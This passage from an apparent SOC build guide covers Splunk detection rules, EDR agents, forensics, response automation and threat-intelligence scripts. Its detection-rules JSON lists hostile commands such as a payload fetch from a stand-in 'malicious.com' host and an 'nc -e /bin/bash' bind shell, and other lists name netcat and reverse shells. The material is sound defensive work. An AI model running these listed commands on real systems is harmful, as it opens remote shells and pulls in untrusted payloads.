# Generate security testing report
port_scan_results = port_scan(target)
vuln_scan_results = vulnerability_scan(target)
web_test_results = web_security_test(target)

report = {
"target": target,
"timestamp": datetime.now().isoformat(),
"port_scan": port_scan_results,
"vulnerability_scan": vuln_scan_results,
"web_security_test": web_test_results
}

return report

# Run security tests
def run_network_security_tests():
targets = ["192.168.100.0/24", "10.0.0.0/8"]

for target in targets:
report = generate_security_report(target)
print(json.dumps(report, indent=2))

# Make script executable
sudo chmod +x /opt/soc/bin/network_security_test.py
```

Chapter 10: Splunk Detection Rules

10.1 Detection Rule Development

Develop effective detection rules using Splunk Search Processing Language (SPL) to identify security threats and anomalies in real-time.

10.2 Brute Force Detection

Detect brute force attacks by monitoring authentication failures and suspicious login patterns across multiple systems.

```
# Brute Force Detection SPL

index=security_events (authentication_failure OR login_failed OR
failed_login)

| stats count by src_ip, user, _time

| where count > 5

| eval threat_type="Brute Force Attack"

| eval mitre_technique="T1110"

| table _time, src_ip, user, count, threat_type, mitre_technique
```

10.3 Privilege Escalation Detection

Monitor for privilege escalation attempts by tracking user privilege changes and suspicious administrative activities.

```
# Privilege Escalation Detection SPL

index=security_events (useradd OR usermod OR groupadd OR sudo)

| stats count by src_ip, user, command

| where count > 3

| eval threat_type="Privilege Escalation"

| eval mitre_technique="T1068"

| table _time, src_ip, user, command, count, threat_type, mitre_technique
```

Chapter 11: Endpoint Security Monitoring

11.1 Endpoint Detection and Response (EDR) Setup

Set up Endpoint Detection and Response (EDR) capabilities for comprehensive endpoint security monitoring. This includes EDR agent installation and configuration.

```
# Install EDR agent dependencies
sudo apt update
sudo apt install -y python3-pip python3-venv

# Create EDR directory structure
sudo mkdir -p /opt/edr/{bin,config,logs,data}
sudo chown -R socadmin:soc /opt/edr

# Install EDR agent
cd /opt/edr
python3 -m venv edr_env
source edr_env/bin/activate
pip install psutil psycopg2-binary requests cryptography

# Create EDR configuration
sudo nano /opt/edr/config/edr_config.json

# EDR configuration content:
{
"server_url": "https://soc-server:8089",
"agent_id": "$(hostname)",
"collection_interval": 60,
"log_level": "INFO",
"monitoring": {
"processes": true,
"network": true,
"filesystem": true,
"registry": true
}
}
```

11.2 Agent Deployment and Management

Deploy and manage EDR agents across endpoints. This includes agent installation, configuration, and centralized management capabilities.

```
# Create agent deployment script
sudo nano /opt/edr/bin/deploy_agent.sh

# Script content:
#!/bin/bash
AGENT_VERSION="1.0.0"
SERVER_URL="https://soc-server:8089"
AGENT_TOKEN="your_agent_token"

# Download agent package
wget -O /tmp/edr_agent.tar.gz \
"$SERVER_URL/download/edr_agent_$AGENT_VERSION.tar.gz"

# Extract agent
tar -xzf /tmp/edr_agent.tar.gz -C /opt/

# Configure agent
sed -i "s|SERVER_URL|$SERVER_URL|g" /opt/edr/config/edr_config.json
sed -i "s|AGENT_TOKEN|$AGENT_TOKEN|g" /opt/edr/config/edr_config.json

# Install agent service
sudo cp /opt/edr/bin/edr_agent.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable edr_agent
sudo systemctl start edr_agent

# Verify agent status
sudo systemctl status edr_agent

# Make script executable
sudo chmod +x /opt/edr/bin/deploy_agent.sh
```

11.3 Endpoint Monitoring and Alerting

Configure comprehensive endpoint monitoring and alerting capabilities. This includes process monitoring, file system monitoring, and network activity tracking.

```
# Create endpoint monitoring script
sudo nano /opt/edr/bin/endpoint_monitor.py

# Script content:
#!/usr/bin/env python3
import psutil
import json
import time
import requests
from datetime import datetime

class EndpointMonitor:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)

def monitor_processes(self):
# Monitor running processes
processes = []
for proc in psutil.process_iter(['pid', 'name', 'cmdline', 'username']):
try:
processes.append(proc.info)
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
return processes

def monitor_network(self):
# Monitor network connections
connections = []
for conn in psutil.net_connections():
connections.append({
'local_address': conn.laddr,
'remote_address': conn.raddr,
'status': conn.status,
'pid': conn.pid
})
return connections

def monitor_filesystem(self):
# Monitor file system changes
# Implementation for file monitoring
return []

def send_data(self, data):
# Send data to SOC server
try:
response = requests.post(
f"{self.config['server_url']}/api/endpoint_data",
json=data,
headers={'Authorization': f'Bearer {self.config.get("agent_token")}'}
)
return response.status_code == 200
except Exception as e:
print(f"Error sending data: {e}")
return False

def run(self):
while True:
data = {
'timestamp': datetime.now().isoformat(),
'hostname': self.config['agent_id'],
'processes': self.monitor_processes(),
'network': self.monitor_network(),
'filesystem': self.monitor_filesystem()
}

self.send_data(data)
time.sleep(self.config['collection_interval'])

# Make script executable
sudo chmod +x /opt/edr/bin/endpoint_monitor.py
```

11.4 Endpoint Forensics Capabilities

Implement endpoint forensics capabilities for incident investigation and analysis. This includes memory analysis, disk forensics, and evidence collection.

```
# Install forensics tools
sudo apt install -y volatility3 autopsy foremost scalpel

# Create forensics script
sudo nano /opt/edr/bin/endpoint_forensics.py

# Script content:
#!/usr/bin/env python3
import subprocess
import os
import json
from datetime import datetime
```

```
class EndpointForensics:
def __init__(self, output_dir):
self.output_dir = output_dir
os.makedirs(output_dir, exist_ok=True)

def capture_memory(self):
# Capture memory dump
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
memory_file = f"{self.output_dir}/memory_{timestamp}.raw"

cmd = f"dd if=/proc/kcore of={memory_file} bs=1M count=1024"
subprocess.run(cmd, shell=True)
return memory_file

def analyze_memory(self, memory_file):
# Analyze memory dump
cmd = f"volatility3 -f {memory_file} linux_pslist"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def capture_process_list(self):
# Capture current process list
cmd = "ps aux"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def capture_network_connections(self):
# Capture network connections
cmd = "netstat -tuln"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout

def extract_files(self, directory):
# Extract deleted files
cmd = f"foremost -i {directory} -o {self.output_dir}/extracted"
subprocess.run(cmd, shell=True)
return f"{self.output_dir}/extracted"

def generate_report(self, evidence_data):
# Generate forensics report
report_file = f"{self.output_dir}/forensics_report_{datetime.now().strftime('
%Y%m%d_%H%M%S')}.json"

with open(report_file, 'w') as f:
```

```
json.dump(evidence_data, f, indent=2)

return report_file

# Make script executable
sudo chmod +x /opt/edr/bin/endpoint_forensics.py
```

11.5 Endpoint Security Policies

Implement endpoint security policies to control access, applications, and system configurations. This includes policy creation, deployment, and enforcement.

```
# Create endpoint security policies
sudo nano /opt/edr/config/security_policies.json

# Security policies configuration:
{
"application_control": {
"enabled": true,
"whitelist": [
"/usr/bin/bash",
"/usr/bin/python3",
"/usr/bin/curl",
"/usr/bin/wget"
],
"blacklist": [
"/tmp/malware",
"/home/*/downloads/suspicious"
]
},

"network_control": {
"enabled": true,
"allowed_ports": [22, 80, 443, 8080],
"blocked_ips": [
"192.168.1.100",
"10.0.0.50"
]
},

"file_monitoring": {
"enabled": true,
"monitored_directories": [
"/etc",
"/home",
"/var/log"
],
"file_types": [".exe", ".dll", ".bat", ".ps1"]
},

"process_control": {
"enabled": true,
"suspicious_processes": [
"nc",
"netcat",
"reverse_shell"
]
}
}

# Create policy enforcement script
sudo nano /opt/edr/bin/policy_enforcer.py

# Policy enforcement script content:
#!/usr/bin/env python3
import json
import psutil
import os
import subprocess
from datetime import datetime

class PolicyEnforcer:
def __init__(self, policy_file):
with open(policy_file, 'r') as f:
self.policies = json.load(f)

def check_application_control(self):
# Check application control policies
violations = []
for proc in psutil.process_iter(['pid', 'name', 'exe']):
try:
if proc.info['exe'] in self.policies['application_control']['blacklist']:
violations.append({
'type': 'blacklisted_application',
'process': proc.info
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
return violations

def check_network_control(self):
# Check network control policies
violations = []
for conn in psutil.net_connections():
if conn.raddr and conn.raddr.ip in
self.policies['network_control']['blocked_ips']:
violations.append({
'type': 'blocked_connection',
'connection': {
'local': conn.laddr,
'remote': conn.raddr,
'status': conn.status
}
})
return violations

def enforce_policies(self):
# Enforce all policies
violations = []
violations.extend(self.check_application_control())
violations.extend(self.check_network_control())

for violation in violations:
self.handle_violation(violation)

return violations

def handle_violation(self, violation):
# Handle policy violations
print(f"Policy violation detected: {violation}")
# Implement violation handling logic

# Make script executable
sudo chmod +x /opt/edr/bin/policy_enforcer.py
```

11.6 Endpoint Threat Detection Rules

Create endpoint-specific threat detection rules for various attack patterns. This includes malware detection, suspicious behavior, and threat indicators.

```
# Create endpoint detection rules
sudo nano /opt/edr/config/detection_rules.json

# Endpoint detection rules:
{
"malware_detection": {
"suspicious_processes": [
"nc",
"netcat",
"reverse_shell",
"backdoor"
],
"suspicious_commands": [
"wget http://malicious.com/payload",
"curl -O http://malicious.com/payload",
"nc -l -p 4444 -e /bin/bash"
]
},

"privilege_escalation": {
"suspicious_activities": [
"sudo su",
"sudo -i",
"su root"
],
"suspicious_files": [
"/tmp/suid_shell",
"/tmp/rootkit"
]
},

"data_exfiltration": {
"large_file_transfers": 100000000,
"suspicious_connections": [
"192.168.1.100:4444",
"10.0.0.50:8080"
]
},
"persistence": {
"startup_locations": [
"/etc/init.d/",
"/etc/systemd/system/",
"~/.bashrc",
"~/.profile"
]
}
}

# Create detection engine script
sudo nano /opt/edr/bin/threat_detector.py

# Detection engine script content:
#!/usr/bin/env python3
import json
import psutil
import subprocess
import re
from datetime import datetime

class ThreatDetector:
def __init__(self, rules_file):
with open(rules_file, 'r') as f:
self.rules = json.load(f)

def detect_malware(self):
# Detect malware indicators
threats = []
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
try:
if proc.info['name'] in
self.rules['malware_detection']['suspicious_processes']:
threats.append({
'type': 'malware_detection',
'process': proc.info,
'severity': 'High'
})
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass
return threats
```

```
def detect_privilege_escalation(self):
# Detect privilege escalation attempts
threats = []
# Implement privilege escalation detection
return threats

def detect_data_exfiltration(self):
# Detect data exfiltration
threats = []
# Implement data exfiltration detection
return threats

def detect_persistence(self):
# Detect persistence mechanisms
threats = []
# Implement persistence detection
return threats

def run_detection(self):
# Run all detection methods
threats = []
threats.extend(self.detect_malware())
threats.extend(self.detect_privilege_escalation())
threats.extend(self.detect_data_exfiltration())
threats.extend(self.detect_persistence())

return threats

# Make script executable
sudo chmod +x /opt/edr/bin/threat_detector.py
```

11.7 Endpoint Response Automation

Implement automated response capabilities for endpoint security incidents. This includes isolation, remediation, and incident response workflows.

```
# Create response automation script
sudo nano /opt/edr/bin/response_automation.py

# Response automation script content:
#!/usr/bin/env python3
import subprocess
import json
import time
from datetime import datetime

class ResponseAutomation:
def __init__(self):
self.response_actions = {
'malware_detection': self.isolate_endpoint,
'privilege_escalation': self.block_user,
'data_exfiltration': self.block_network,
'persistence': self.remove_persistence
}

def isolate_endpoint(self, threat_data):
# Isolate endpoint from network
try:
# Block all outbound connections
subprocess.run("iptables -A OUTPUT -j DROP", shell=True)
print(f"Endpoint isolated: {threat_data}")
return True
except Exception as e:
print(f"Failed to isolate endpoint: {e}")
return False

def block_user(self, threat_data):
# Block suspicious user account
try:
user = threat_data.get('user', 'unknown')
subprocess.run(f"sudo usermod -L {user}", shell=True)
print(f"User blocked: {user}")
return True
except Exception as e:
print(f"Failed to block user: {e}")
return False

def block_network(self, threat_data):
# Block suspicious network connections
try:
remote_ip = threat_data.get('remote_ip', '')
if remote_ip:
subprocess.run(f"iptables -A OUTPUT -d {remote_ip} -j DROP", shell=True)
print(f"Network connection blocked: {remote_ip}")
```

```
return True
except Exception as e:
print(f"Failed to block network: {e}")
return False

def remove_persistence(self, threat_data):
# Remove persistence mechanisms
try:
file_path = threat_data.get('file_path', '')
if file_path:
subprocess.run(f"rm -f {file_path}", shell=True)
print(f"Persistence removed: {file_path}")
return True
except Exception as e:
print(f"Failed to remove persistence: {e}")
return False

def execute_response(self, threat_type, threat_data):
# Execute appropriate response based on threat type
if threat_type in self.response_actions:
return self.response_actions[threat_type](threat_data)
else:
print(f"Unknown threat type: {threat_type}")
return False

# Make script executable
sudo chmod +x /opt/edr/bin/response_automation.py
```

11.8 Endpoint Integration with SOC Tools

Integrate endpoint security monitoring with SOC tools for centralized management and correlation analysis.

```
# Configure Splunk endpoint monitoring
sudo nano /opt/splunk/etc/apps/endpoint_monitoring/local/inputs.conf

# Endpoint monitoring inputs:
[script://./bin/endpoint_monitor.py]
disabled = 0
sourcetype = endpoint_monitoring
index = endpoint_logs

[monitor:///opt/edr/logs/edr.log]
```

```
disabled = 0
sourcetype = edr_logs
index = security_events

# Configure Wazuh endpoint monitoring
sudo nano /var/ossec/etc/ossec.conf

# Add endpoint monitoring:

syslog
/opt/edr/logs/edr.log


syslog
/var/log/endpoint_alerts.log


# Create endpoint monitoring dashboard
sudo nano /opt/splunk/etc/apps/endpoint_monitoring/local/data/ui/views/endpoi
nt_dashboard.xml

# Dashboard configuration:

Endpoint Security Monitoring
Comprehensive endpoint security monitoring dashboard


Endpoint Threats by Type


index=endpoint_logs | stats count by threat_type


pie



Top Endpoint Threats


index=endpoint_logs | stats count by threat_description | sort -count | head
10
```

11.9 Endpoint Security Testing

Implement endpoint security testing procedures to validate security controls. This includes penetration testing, vulnerability assessment, and security validation.

```
# Install endpoint testing tools
sudo apt install -y lynis chkrootkit rkhunter

# Create endpoint security testing script
sudo nano /opt/edr/bin/endpoint_security_test.py

# Testing script content:
#!/usr/bin/env python3
import subprocess
import json
from datetime import datetime

class EndpointSecurityTest:
def __init__(self):
self.test_results = {}

def run_lynis_audit(self):
# Run Lynis security audit
try:
cmd = "lynis audit system"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
return f"Lynis audit failed: {e}"

def run_chkrootkit(self):
# Run chkrootkit scan
try:
cmd = "sudo chkrootkit"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
return f"chkrootkit scan failed: {e}"

def run_rkhunter(self):
# Run rkhunter scan
try:
cmd = "sudo rkhunter --check"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
return f"rkhunter scan failed: {e}"
```

```
def test_endpoint_security(self):

# Run comprehensive endpoint security tests

self.test_results = {

'timestamp': datetime.now().isoformat(),

'lynis_audit': self.run_lynis_audit(),

'chkrootkit_scan': self.run_chkrootkit(),

'rkhunter_scan': self.run_rkhunter()

}

return self.test_results

def generate_test_report(self):

# Generate security test report

report_file = f"/opt/edr/logs/security_test_{datetime.now().strftime('%Y%m%d_
%H%M%S')}.json"

with open(report_file, 'w') as f:

json.dump(self.test_results, f, indent=2)

return report_file

# Make script executable

sudo chmod +x /opt/edr/bin/endpoint_security_test.py
```

Chapter 12: Threat Intelligence Integration

12.1 Threat Intelligence Platform Setup

Set up a comprehensive threat intelligence platform for collecting, processing, and distributing threat intelligence data. This includes platform installation and configuration.

```
# Install threat intelligence platform dependencies
sudo apt update
sudo apt install -y python3-pip python3-venv redis-server postgresql

# Create threat intelligence directory structure
sudo mkdir -p /opt/threatintel/{bin,config,data,feeds,reports}
sudo chown -R socadmin:soc /opt/threatintel

# Set up Python virtual environment
cd /opt/threatintel
python3 -m venv threatintel_env
source threatintel_env/bin/activate

# Install threat intelligence packages
pip install requests beautifulsoup4 pandas numpy
pip install stix2 taxii2client pymisp
pip install redis psycopg2-binary

# Create threat intelligence configuration
sudo nano /opt/threatintel/config/threatintel_config.json

# Configuration content:
{
"platform_name": "SOC Threat Intelligence Platform",
"version": "1.0.0",
"database": {
"host": "localhost",
"port": 5432,
"name": "threatintel_db",
"user": "threatintel_user",
"password": "SecurePassword123!"
},
"redis": {
"host": "localhost",
"port": 6379,
"db": 0
},
"feeds": {
"update_interval": 3600,
"max_age_days": 30
}
}
```

12.2 Threat Feed Integration

Integrate various threat intelligence feeds to collect and process threat data. This includes open-source feeds, commercial feeds, and custom feed management.

```
# Create threat feed integration script
sudo nano /opt/threatintel/bin/feed_integrator.py

# Script content:
#!/usr/bin/env python3
import requests
import json
import csv
import time
from datetime import datetime
import redis
import psycopg2

class ThreatFeedIntegrator:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.redis_client = redis.Redis(
host=self.config['redis']['host'],
port=self.config['redis']['port'],
db=self.config['redis']['db']
)

def fetch_open_source_feeds(self):
# Fetch open source threat feeds
feeds = {
'abuse_ch': 'https://urlhaus.abuse.ch/downloads/csv_recent/',
'phishtank': 'https://data.phishtank.com/data/online-valid.json',
'tor_exit_nodes': 'https://check.torproject.org/exit-addresses',
'malware_bazaar': 'https://bazaar.abuse.ch/export/txt/recent/'
}

for feed_name, feed_url in feeds.items():
try:
response = requests.get(feed_url, timeout=30)
if response.status_code == 200:
self.process_feed_data(feed_name, response.text)
except Exception as e:
print(f"Error fetching {feed_name}: {e}")

def process_feed_data(self, feed_name, data):
# Process feed data and store in database
indicators = self.parse_indicators(data)

for indicator in indicators:
self.store_indicator(feed_name, indicator)

def parse_indicators(self, data):
# Parse different indicator formats
indicators = []
# Implementation for parsing various formats
return indicators

def store_indicator(self, source, indicator):
# Store indicator in database
try:
# Store in Redis for fast access
self.redis_client.setex(
f"indicator:{indicator['value']}",
86400, # 24 hours TTL
json.dumps(indicator)
)
except Exception as e:
print(f"Error storing indicator: {e}")

def run_integration(self):
# Run threat feed integration
while True:
self.fetch_open_source_feeds()
```

```
time.sleep(self.config['feeds']['update_interval'])

# Make script executable
sudo chmod +x /opt/threatintel/bin/feed_integrator.py
```

12.3 IOC (Indicators of Compromise) Management

Implement comprehensive IOC management for storing, categorizing, and distributing threat indicators. This includes IOC validation, enrichment, and lifecycle management.

```
# Create IOC management system
sudo nano /opt/threatintel/bin/ioc_manager.py

# IOC management script content:
#!/usr/bin/env python3
import json
import hashlib
import re
from datetime import datetime, timedelta
import redis
import psycopg2

class IOCManager:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.redis_client = redis.Redis(
host=self.config['redis']['host'],
port=self.config['redis']['port'],
db=self.config['redis']['db']
)

def validate_ioc(self, ioc_value, ioc_type):
# Validate IOC format and type
validators = {
'ip': self.validate_ip,
'domain': self.validate_domain,
'url': self.validate_url,
'md5': self.validate_md5,
'sha1': self.validate_sha1,
'sha256': self.validate_sha256
}
```

```
if ioc_type in validators:

return validators[ioc_type](ioc_value)

return False

def validate_ip(self, ip):

# Validate IP address format

ip_pattern = r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2
[0-4][0-9]|[01]?[0-9][0-9]?)$'

return bool(re.match(ip_pattern, ip))

def validate_domain(self, domain):

# Validate domain format

domain_pattern =
r'^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$'

return bool(re.match(domain_pattern, domain))

def validate_url(self, url):

# Validate URL format

url_pattern = r'^https?://(?:[-\w.])+(?:[:\d]+)?(?:/(?:[\w/_.])*(?:\?(?:[\w&=
%.])*)?(?:#(?:[\w.])*)?)?$'

return bool(re.match(url_pattern, url))

def validate_md5(self, md5):

# Validate MD5 hash format

return bool(re.match(r'^[a-fA-F0-9]{32}$', md5))

def validate_sha1(self, sha1):

# Validate SHA1 hash format

return bool(re.match(r'^[a-fA-F0-9]{40}$', sha1))

def validate_sha256(self, sha256):

# Validate SHA256 hash format

return bool(re.match(r'^[a-fA-F0-9]{64}$', sha256))

def enrich_ioc(self, ioc_data):

# Enrich IOC with additional context

enriched_data = ioc_data.copy()

# Add enrichment data

enriched_data['enrichment'] = {

'first_seen': datetime.now().isoformat(),

'last_seen': datetime.now().isoformat(),

'confidence': self.calculate_confidence(ioc_data),

'tags': self.generate_tags(ioc_data)
```

```
}

return enriched_data

def calculate_confidence(self, ioc_data):
# Calculate confidence score for IOC
confidence = 50 # Base confidence

# Adjust based on source reputation
if ioc_data.get('source') == 'high_reputation':
confidence += 30

# Adjust based on IOC type
if ioc_data.get('type') in ['sha256', 'sha1']:
confidence += 20

return min(confidence, 100)

def generate_tags(self, ioc_data):
# Generate tags for IOC categorization
tags = []

# Add source tag
tags.append(f"source:{ioc_data.get('source', 'unknown')}")

# Add type tag
tags.append(f"type:{ioc_data.get('type', 'unknown')}")

# Add threat category tags
if 'malware' in ioc_data.get('description', '').lower():
tags.append('threat:malware')

return tags

def store_ioc(self, ioc_data):
# Store IOC in database
try:
# Validate IOC
if not self.validate_ioc(ioc_data['value'], ioc_data['type']):
return False

# Enrich IOC
enriched_ioc = self.enrich_ioc(ioc_data)

# Store in Redis
ioc_key = f"ioc:{enriched_ioc['value']}"
self.redis_client.setex(
ioc_key,
86400, # 24 hours TTL
json.dumps(enriched_ioc)
)

return True
except Exception as e:
print(f"Error storing IOC: {e}")
return False

# Make script executable
sudo chmod +x /opt/threatintel/bin/ioc_manager.py
```

12.4 Threat Intelligence Sharing

Implement threat intelligence sharing capabilities for collaboration and information exchange. This includes TAXII/STIX integration and sharing protocols.

```
# Create threat intelligence sharing script
sudo nano /opt/threatintel/bin/intel_sharing.py

# Sharing script content:
#!/usr/bin/env python3
import json
import requests
from datetime import datetime
from stix2 import ThreatActor, Malware, AttackPattern, Indicator
from taxii2client import Server, Collection

class ThreatIntelligenceSharing:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)

def create_stix_objects(self, threat_data):
# Create STIX 2.1 objects from threat data
stix_objects = []

# Create Threat Actor
if 'threat_actor' in threat_data:
threat_actor = ThreatActor(
name=threat_data['threat_actor']['name'],
description=threat_data['threat_actor']['description'],
threat_level=threat_data['threat_actor']['level']
)
stix_objects.append(threat_actor)

# Create Malware
if 'malware' in threat_data:
malware = Malware(
name=threat_data['malware']['name'],
description=threat_data['malware']['description'],
malware_types=[threat_data['malware']['type']]
)
stix_objects.append(malware)

# Create Attack Pattern
if 'attack_pattern' in threat_data:
attack_pattern = AttackPattern(
name=threat_data['attack_pattern']['name'],
description=threat_data['attack_pattern']['description']
)
stix_objects.append(attack_pattern)

# Create Indicators
for indicator in threat_data.get('indicators', []):
stix_indicator = Indicator(
pattern=f"[{indicator['type']}:value = '{indicator['value']}']",
pattern_type="stix",
indicator_types=[indicator['type']],
valid_from=datetime.now()
)
stix_objects.append(stix_indicator)

return stix_objects

def share_via_taxii(self, stix_objects, taxii_server_url):
# Share STIX objects via TAXII 2.1
try:
# Connect to TAXII server
server = Server(taxii_server_url)

# Get available collections
collections = server.get_collections()

# Add objects to collection
```

```
for collection in collections:
if collection.title == 'threat-intel':
collection.add_objects(stix_objects)
print(f"Shared {len(stix_objects)} objects via TAXII")
break
except Exception as e:
print(f"Error sharing via TAXII: {e}")

def share_via_misp(self, threat_data, misp_url, misp_key):
# Share threat data via MISP
try:
headers = {
'Authorization': misp_key,
'Content-Type': 'application/json'
}

# Create MISP event
event_data = {
'Event': {
'info': threat_data.get('title', 'Threat Intelligence Event'),
'analysis': 1, # Initial
'threat_level_id': threat_data.get('threat_level', 1),
'distribution': 0, # Your organization only
'date': datetime.now().strftime('%Y-%m-%d')
}
}

# Add attributes
event_data['Event']['Attribute'] = []
for indicator in threat_data.get('indicators', []):
attribute = {
'type': indicator['type'],
'value': indicator['value'],
'category': 'Network activity'
}
event_data['Event']['Attribute'].append(attribute)

# Send to MISP
response = requests.post(
f"{misp_url}/events/add",
json=event_data,
headers=headers
)

if response.status_code == 200:
print(f"Shared threat data via MISP: {response.json()}")
else:
print(f"Error sharing via MISP: {response.text}")
except Exception as e:
print(f"Error sharing via MISP: {e}")

def generate_sharing_report(self, shared_data):
# Generate sharing report
report = {
'timestamp': datetime.now().isoformat(),
'shared_objects': len(shared_data),
'sharing_methods': ['TAXII', 'MISP'],
'status': 'completed'
}

return report

# Make script executable
sudo chmod +x /opt/threatintel/bin/intel_sharing.py
```

12.5 Threat Hunting Capabilities

Implement proactive threat hunting capabilities to identify and investigate potential threats. This includes hunting queries, automation, and investigation workflows.

```
# Create threat hunting system
sudo nano /opt/threatintel/bin/threat_hunter.py

# Threat hunting script content:
#!/usr/bin/env python3
import json
import requests
import subprocess
from datetime import datetime, timedelta
import redis

class ThreatHunter:
def __init__(self, config_file):
with open(config_file, 'r') as f:
```

```
self.config = json.load(f)
self.redis_client = redis.Redis(
host=self.config['redis']['host'],
port=self.config['redis']['port'],
db=self.config['redis']['db']
)

def create_hunting_queries(self):
# Define threat hunting queries
queries = {
'suspicious_processes': {
'query': 'index=security_events | search process_name=*nc* OR
process_name=*netcat*',
'description': 'Find suspicious network tools'
},
'unusual_connections': {
'query': 'index=network_logs | stats count by src_ip | where count > 1000',
'description': 'Find high-volume connections'
},
'privilege_escalation': {
'query': 'index=security_events | search "sudo su" OR "sudo -i"',
'description': 'Find privilege escalation attempts'
},
'data_exfiltration': {
'query': 'index=network_logs | stats sum(bytes) by src_ip | where sum >
1000000000',
'description': 'Find large data transfers'
},
'persistence_mechanisms': {
'query': 'index=security_events | search "crontab" OR "systemctl"',
'description': 'Find persistence mechanisms'
}
}
return queries

def execute_hunting_query(self, query_name, query_data):
# Execute hunting query against Splunk
try:
splunk_url = "https://splunk-server:8089/services/search/jobs"
headers = {
```

```
'Authorization': f"Bearer {self.config.get('splunk_token')}",
'Content-Type': 'application/x-www-form-urlencoded'
}

data = {
'search': query_data['query'],
'output_mode': 'json'
}

response = requests.post(splunk_url, headers=headers, data=data)

if response.status_code == 200:
results = response.json()
return self.analyze_hunting_results(query_name, results)
else:
print(f"Error executing query {query_name}: {response.text}")
return None
except Exception as e:
print(f"Error executing hunting query: {e}")
return None

def analyze_hunting_results(self, query_name, results):
# Analyze hunting query results
analysis = {
'query_name': query_name,
'timestamp': datetime.now().isoformat(),
'result_count': len(results.get('results', [])),
'suspicious_indicators': [],
'risk_score': 0
}

# Analyze results for suspicious activity
for result in results.get('results', []):
risk_score = self.calculate_risk_score(result)
if risk_score > 50:
analysis['suspicious_indicators'].append({
'indicator': result,
'risk_score': risk_score
})
analysis['risk_score'] += risk_score

return analysis
```

```
def calculate_risk_score(self, result):
# Calculate risk score for hunting result
risk_score = 0

# Check for known malicious patterns
malicious_patterns = [
'nc', 'netcat', 'reverse_shell', 'backdoor',
'privilege_escalation', 'data_exfiltration'
]

result_str = str(result).lower()
for pattern in malicious_patterns:
if pattern in result_str:
risk_score += 25

return min(risk_score, 100)

def run_hunting_campaign(self):
# Run comprehensive threat hunting campaign
queries = self.create_hunting_queries()
campaign_results = []

for query_name, query_data in queries.items():
print(f"Executing hunting query: {query_name}")
result = self.execute_hunting_query(query_name, query_data)
if result:
campaign_results.append(result)

return self.generate_hunting_report(campaign_results)

def generate_hunting_report(self, results):
# Generate threat hunting report
report = {
'campaign_date': datetime.now().isoformat(),
'total_queries': len(results),
'total_indicators': sum(r['result_count'] for r in results),
'suspicious_indicators': sum(len(r['suspicious_indicators']) for r in
results),
'average_risk_score': sum(r['risk_score'] for r in results) / len(results) if
results else 0,
'results': results
}

return report
```

```
# Make script executable
sudo chmod +x /opt/threatintel/bin/threat_hunter.py
```

12.6 Threat Intelligence Reporting

Create comprehensive threat intelligence reporting capabilities for analysis and decision-making. This includes automated reports, dashboards, and metrics.

```
# Create threat intelligence reporting system
sudo nano /opt/threatintel/bin/intel_reporter.py

# Reporting script content:
#!/usr/bin/env python3
import json
import requests
from datetime import datetime, timedelta
import redis
import psycopg2

class ThreatIntelligenceReporter:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.redis_client = redis.Redis(
host=self.config['redis']['host'],
port=self.config['redis']['port'],
db=self.config['redis']['db']
)

def generate_daily_report(self):
# Generate daily threat intelligence report
report = {
'report_date': datetime.now().strftime('%Y-%m-%d'),
'report_type': 'daily_threat_intelligence',
'summary': self.generate_summary(),
'threat_landscape': self.analyze_threat_landscape(),
'new_indicators': self.get_new_indicators(),
'threat_trends': self.analyze_threat_trends(),
'recommendations': self.generate_recommendations()
}

return report
```

```
def generate_summary(self):
# Generate executive summary
summary = {
'total_indicators': self.get_total_indicators(),
'new_threats': self.get_new_threats_count(),
'high_priority_threats': self.get_high_priority_threats(),
'threat_level': self.calculate_overall_threat_level()
}

return summary

def analyze_threat_landscape(self):
# Analyze current threat landscape
landscape = {
'top_threat_actors': self.get_top_threat_actors(),
'most_common_attack_types': self.get_common_attack_types(),
'geographic_distribution': self.get_geographic_distribution(),
'industry_targets': self.get_industry_targets()
}

return landscape

def get_new_indicators(self):
# Get new indicators from the last 24 hours
yesterday = datetime.now() - timedelta(days=1)

# Query database for new indicators
new_indicators = []
try:
conn = psycopg2.connect(
host=self.config['database']['host'],
port=self.config['database']['port'],
database=self.config['database']['name'],
user=self.config['database']['user'],
password=self.config['database']['password']
)

cursor = conn.cursor()
cursor.execute(
"""SELECT * FROM indicators WHERE created_at >= %s""",
(yesterday,)
)
```

```
for row in cursor.fetchall():
new_indicators.append({
'value': row[1],
'type': row[2],
'source': row[3],
'confidence': row[4]
})

cursor.close()
conn.close()
except Exception as e:
print(f"Error getting new indicators: {e}")

return new_indicators

def analyze_threat_trends(self):
# Analyze threat trends over time
trends = {
'malware_trends': self.get_malware_trends(),
'phishing_trends': self.get_phishing_trends(),
'ransomware_trends': self.get_ransomware_trends(),
'apt_trends': self.get_apt_trends()
}

return trends

def generate_recommendations(self):
# Generate actionable recommendations
recommendations = [
{
'priority': 'High',
'category': 'Detection',
'recommendation': 'Implement additional monitoring for identified threat
patterns',
'rationale': 'Based on recent threat intelligence analysis'
},
{
'priority': 'Medium',
'category': 'Prevention',
'recommendation': 'Update security controls based on new threat indicators',
'rationale': 'Proactive security enhancement'
},
{
'priority': 'Low',
'category': 'Awareness',
'recommendation': 'Conduct security awareness training on new threats',
'rationale': 'Human factor in security'
}
]

return recommendations

def export_report(self, report, format='json'):
